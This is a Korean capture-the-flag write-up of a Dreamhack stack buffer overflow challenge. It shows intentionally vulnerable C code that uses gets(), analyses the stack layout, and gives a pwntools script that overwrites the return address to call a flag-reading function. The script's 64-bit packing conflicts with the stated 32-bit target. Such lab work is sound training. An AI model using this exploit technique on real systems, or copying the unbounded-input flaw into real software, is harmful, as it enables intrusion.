1. Description
2. Check
2.1 C code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
code description
alarm_handler(): "TIME OUT"을 출력하고 프로그램을 끝낸다
initialize(): setvbuf로 stdin과 stdout을 초기화 하고, signal과 alarm 함수를 통해서 30초 후에 alarm_handler를 호출한다.
read_flag(): system 함수로 syscall을 해 "cat /flag"를 통해 /flag를 읽는다.
main():
gets(buf); -> buf를 입력 받는다.
buf의 크기는 0x80 만큼 주어졌다.
2.2 file
파일: ELF 32 bit 파일
호출 규약: SYSV
linking 방식: dynamically linked
2.3 checksec
NX enabled(heap, stack 영역의 실행권한 제거): NX가 걸려있으므로 heap, stack 영역에서 shellcode를 실행할 수 없다.
3. Design
이전 ([Dreamhack] 4. Stack Buffer Overflow - ReturnAddressOverwrite)와 비슷한 문제이다.
gets를 통해 buf를 입력 받고, BOF를 일으켜 return address를 read_flag()함수의 주소로 Overwrite해서 flag를 읽어낸다.
4.Exploit
4.1 read_flag() 주소
4.2 buf 확인
main + 11
[ebp-0x80] 값을 eax로 넘기고
main + 14
eax를 push를 통해 스택에 쌓는다.
main + 15
gets 함수를 호출한다.
gets 함수를 호출하기전에 eax 즉, [ebp-0x80]값을 스택에 쌓아서 넘겨주는 것으로 보아 [ebp-0x80] 부분이 buf의 공간임을 알 수 있다.
그리고 32bit 환경이므로 SFP와 RET 모두 4bytes이
stack |
---|
buf(ebp-0x80) |
SFP(4bytes) |
RET(4bytes) |
4.3 vulnerability analysis & exploit design
gets 함수는 입력값을 제한하지 않는다.
그렇기에 buf와 SFP를 0x84만큼의 dummy값들로 채우고
RET를 read_flag()함수의 주소로 Overwrite를 하면
flag를 얻어 낼 수 있다.
4.4 exploit code
from pwn import *
p = remote('서버', 포트)
get_flag = 0x80485b9
payload = b'A'*0x84
payload += p64(get_flag)
p.sendline(payload)
p.interactive()
4.5 exploit result
성공적으로 flag 내용을 얻어냈다.(DH{...})
마치며
이렇게 BOF를 일으킨 후, return address를 조작하는 문제를 풀어 보았다.
다음 시간에는 BOF를 막는 기법인 Canary에 대해 알아보자.
Reference
https://dreamhack.io/wargame/challenges/3/ (문제 출처)